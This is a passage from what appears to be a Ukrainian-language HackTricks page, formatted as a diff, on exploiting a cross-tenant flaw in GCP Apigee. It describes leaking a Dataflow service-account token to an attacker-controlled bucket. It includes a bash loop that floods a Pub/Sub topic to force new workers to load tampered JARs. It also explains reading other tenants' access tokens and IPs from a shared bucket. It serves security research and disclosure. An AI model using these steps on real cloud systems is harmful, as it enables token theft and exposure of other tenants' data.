мали internet egress; ексфільтруйте, записавши токен у GCS bucket, контрольований атакуючим, використовуючи in-cluster GCP APIs. + +### Force malicious JAR execution by abusing autoscaling + +Існуючі workers не будуть перезавантажувати замінені артефакти. Переповніть pipeline input, щоб спровокувати запуск нових workers: +```bash +for i in {1..5000}; do +gcloud pubsub topics publish apigee-analytics-notifications \ +--message "flood-$i" --project +done +``` +Щойно створені інстанси завантажують виправлені JARs і leak the Dataflow SA token. + +### Помилка дизайну cross-tenant bucket + +Декомпільований код Dataflow показав шляхи кешу, такі як `revenue/edge//tenant2TenantGroupCacheDir` у спільному metadata bucket, без жодного tenant-specific компонента. Маючи Dataflow token, можна read/write: + +- `tenantToTenantGroup` caches, які розкривають імена проектів + environment інших tenants. +- Папки `customFields` та `datastores`, що містять per-request analytics (включаючи end-user IPs та plaintext access tokens) для всіх tenants. +- Наявність Write access означає потенційне analytics tampering/poisoning. + +## References + +- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/) +- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy) + +{{#include ../../../banners/hacktricks-training.md}}